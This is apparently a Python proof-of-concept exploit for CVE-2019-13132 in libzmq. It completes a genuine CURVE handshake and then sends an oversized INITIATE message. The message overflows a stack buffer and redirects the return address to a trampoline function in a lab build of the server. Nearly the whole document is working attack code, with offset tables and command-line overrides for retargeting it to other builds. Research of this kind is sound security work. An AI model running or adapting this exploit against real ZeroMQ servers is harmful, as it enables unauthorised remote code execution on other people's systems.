README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2019-13132 — full RCE via CURVE INITIATE stack buffer overflow.
libzmq <= 4.3.1.
Bug site: src/curve_server.cpp:327-336
const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;
uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256]; // 416 bytes
memcpy (initiate_box + crypto_box_BOXZEROBYTES, initiate + 113,
clen - crypto_box_BOXZEROBYTES); // size - 113
Only a minimum-size guard (size < 257) exists; no upper bound. An INITIATE
with size > 513 overflows initiate_box's 400-byte payload region.
Exploit chain:
1. Complete a real CURVE HELLO/WELCOME exchange (requires only the server's
long-term *public* key — a public parameter by design).
2. Build an oversized INITIATE with the genuine cookie from WELCOME.
3. Overflow payload overwrites saved callee-regs + return address.
4. Return address → lab_trampoline() in the non-PIE server binary.
5. Trampoline uses raw syscalls to write proof file (/tmp/pwned-13132)
with uid, pid, capabilities, and hostname.
Stack frame analysis (objdump of libzmq.so built with -O0 -fno-stack-protector):
process_initiate prologue:
push r15; push r14; push r13; push r12; push rbp; push rbx (48 bytes)
sub $0x628, %rsp (1576 bytes)
initiate_box at rsp+0x480, memcpy dest at rsp+0x490
Return address at rsp+0x658
Offset from memcpy dest to return address: 0x658 - 0x490 = 456 bytes
Requires:
- ASLR disabled (sysctl kernel.randomize_va_space=0)
- Server built with -fno-stack-protector -fno-pie -no-pie
- PyNaCl (pip install pynacl)
Usage:
python3 exploit.py [host] [port]
python3 exploit.py [host] [port] --profile profile.json
python3 exploit.py [host] [port] --trampoline 0x401206 --offset 456
"""
import argparse
import json
import socket
import struct
import sys
import time
from pathlib import Path
from nacl.bindings import crypto_box_open, crypto_box
from nacl.public import PrivateKey
SERVER_PUBLIC = bytes.fromhex(
"a0fc5b1b84904141538373ef89e9b126087a722e5a23328a26eacb9a27ca045a"
)
# ═══════════════════════════════════════════════════════════════════
# Built-in offset table.
#
# Unlike Redis (which exposes redis_build_id via INFO), ZMTP has no
# runtime introspection — the greeting reveals only the protocol
# version (3.x) and mechanism (CURVE), nothing about the libzmq
# build. So we can't auto-fingerprint the target.
#
# Instead we ship pre-computed offsets for the Docker lab build and
# fall back to --profile / --trampoline+--offset for other targets.
#
# offset_to_ret: distance (bytes) from the vulnerable memcpy dest
# to the saved return address on process_initiate's
# stack frame. Derived from the prologue:
# sub $0x628,%rsp → memcpy dest @ RSP+0x490
# 6 pushes (48 B) → ret addr @ RSP+0x658
# 0x658 - 0x490 = 456
# Constant across libzmq 4.3.0 builds with -O0.
#
# trampoline_addr: absolute address of lab_trampoline() in the
# non-PIE server-curve binary. Varies with the
# exact gcc version and source, but is fixed for
# a given Docker image build.
# ═══════════════════════════════════════════════════════════════════
BUILDS = {
# Dockerfile lab build: Debian 12 (bookworm), gcc 12, libzmq 4.3.0
# server-curve.c compiled with -O0 -fno-stack-protector -fno-pie -no-pie
"lab-debian12-gcc12": {
"trampoline_addr": 0x401206,
"offset_to_ret": 456,
},
}
DEFAULT_BUILD = "lab-debian12-gcc12"
def resolve_profile(args):
"""Resolve exploit parameters: CLI flags → profile.json → built-in defaults."""
# Priority 1: explicit --trampoline / --offset on the command line
if args.trampoline is not None or args.offset is not None:
tramp = args.trampoline
off = args.offset
if tramp is None or off is None:
sys.stderr.write("[!] --trampoline and --offset must both be given\n")
sys.exit(1)
sys.stderr.write("[*] source: command-line overrides\n")
return {"trampoline_addr": tramp, "offset_to_ret": off}
# Priority 2: --profile pointing to an existing file
if args.profile:
pf = Path(args.profile)
if pf.exists():
profile = json.loads(pf.read_text())
sys.stderr.write(f"[*] source: {pf}\n")
return profile
# Priority 3: well-known default path (inside Docker container)
default_path = Path("/opt/zmq-curve-rce/profile.json")
if default_path.exists():
profile = json.loads(default_path.read_text())
sys.stderr.write(f"[*] source: {default_path}\n")
return profile
# Priority 4: built-in offset table
build = BUILDS[DEFAULT_BUILD]
sys.stderr.write(f"[*] source: built-in defaults ({DEFAULT_BUILD})\n")
return dict(build)
def build_greeting():
g = bytearray(64)
g[0] = 0xFF
g[9] = 0x7F
g[10] = 0x03
g[11] = 0x01
g[12:32] = b"CURVE".ljust(20, b"\x00")
g[32] = 0x00
return bytes(g)
def recv_exact(s, n):
out = b""
while len(out) < n:
chunk = s.recv(n - len(out))
if not chunk:
raise ConnectionResetError("peer closed")
out += chunk
return out
def curve_handshake(s, cli_sk_bytes, cli_pk_bytes):
"""HELLO/WELCOME exchange. Returns (cookie_nonce, cookie_blob, server_short_pk)."""
s.sendall(build_greeting())
server_greeting = recv_exact(s, 64)
if server_greeting[10] != 0x03:
raise RuntimeError(f"unexpected greeting revision: {server_greeting[10]}")
short_nonce = b"\x01" * 8
full_nonce = b"CurveZMQHELLO---" + short_nonce
hello_box = crypto_box(b"\x00" * 64, full_nonce, SERVER_PUBLIC, cli_sk_bytes)
hello_body = (
b"\x05HELLO"
+ b"\x01\x00"
+ b"\x00" * 72
+ cli_pk_bytes
+ short_nonce
+ hello_box
)
assert len(hello_body) == 200
s.sendall(b"\x04" + bytes([len(hello_body)]) + hello_body)
wel_flags = recv_exact(s, 1)[0]
if wel_flags & 0x02:
wel_size = struct.unpack(">Q", recv_exact(s, 8))[0]
else:
wel_size = recv_exact(s, 1)[0]
wel_body = recv_exact(s, wel_size)
if wel_body[:8] != b"\x07WELCOME":
raise RuntimeError(f"expected WELCOME, got {wel_body[:8]!r}")
welcome_short_nonce = wel_body[8:24]
welcome_box_wire = wel_body[24:168]
full_welcome_nonce = b"WELCOME-" + welcome_short_nonce
welcome_plain = crypto_box_open(
welcome_box_wire, full_welcome_nonce, SERVER_PUBLIC, cli_sk_bytes
)
server_short_pk = welcome_plain[0:32]
cookie_short_nonce = welcome_plain[32:48]
cookie_blob = welcome_plain[48:128]
return cookie_short_nonce, cookie_blob, server_short_pk
def build_rce_initiate(cookie_nonce, cookie_blob, profile):
"""Build oversized INITIATE: padding → overwrite ret addr → trampoline."""
offset_to_ret = profile["offset_to_ret"]
trampoline_addr = profile["trampoline_addr"]
payload_size = offset_to_ret + 8
payload = bytearray(payload_size)
for i in range(offset_to_ret):
payload[i] = 0x41
struct.pack_into("<Q", payload, offset_to_ret, trampoline_addr)
initiate_short_nonce = b"\x02" * 8
body = (
b"\x08INITIATE"
+ cookie_nonce
+ cookie_blob
+ initiate_short_nonce
+ bytes(payload)
)
return body
def encode_long_command(body):
return b"\x06" + struct.pack(">Q", len(body)) + body
def main():
ap = argparse.ArgumentParser(
description=__doc__,
formatter_class=argparse.RawDescriptionHelpFormatter,
)
ap.add_argument("host", nargs="?", default="127.0.0.1")
ap.add_argument("port", nargs="?", type=int, default=5556)
ap.add_argument(
"--profile",
default=None,
help="path to profile.json (optional — built-in defaults used if absent)",
)
ap.add_argument(
"--trampoline",
type=lambda x: int(x, 0),
default=None,
help="override trampoline address (hex, e.g. 0x401206)",
)
ap.add_argument(
"--offset",
type=int,
default=None,
help="override offset from memcpy dest to return address (default: 456)",
)
args = ap.parse_args()
profile = resolve_profile(args)
sys.stderr.write(f"[*] target: {args.host}:{args.port}\n")
sys.stderr.write(f"[*] trampoline @ 0x{profile['trampoline_addr']:016x}\n")
sys.stderr.write(f"[*] offset to ret: {profile['offset_to_ret']} bytes\n\n")
cli_sk = PrivateKey.generate()
cli_pk_bytes = bytes(cli_sk.public_key)
cli_sk_bytes = bytes(cli_sk)
s = socket.create_connection((args.host, args.port), timeout=5)
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
s.settimeout(5)
sys.stderr.write("[+] connected\n")
cookie_nonce, cookie_blob, server_short_pk = curve_handshake(
s, cli_sk_bytes, cli_pk_bytes
)
sys.stderr.write(
f"[+] HELLO/WELCOME complete (S'={server_short_pk.hex()[:16]}...)\n"
)
body = build_rce_initiate(cookie_nonce, cookie_blob, profile)
overflow_size = len(body) - 113
s.sendall(encode_long_command(body))
sys.stderr.write(
f"[+] sent INITIATE ({len(body)} bytes, overflow = {overflow_size})\n"
)
sys.stderr.write(
"[+] waiting for process_initiate() → ret → trampoline\n"
)
s.settimeout(3)
try:
leftover = s.recv(4096)
if leftover:
sys.stderr.write(f"[?] reply: {leftover[:40].hex()}\n")
except (socket.timeout, ConnectionResetError, BrokenPipeError) as e:
sys.stderr.write(f"[!] {type(e).__name__} (expected — server crashed)\n")
s.close()
time.sleep(0.5)
sys.stderr.write("[*] done — check /tmp/pwned-13132 on target\n")
if __name__ == "__main__":
main()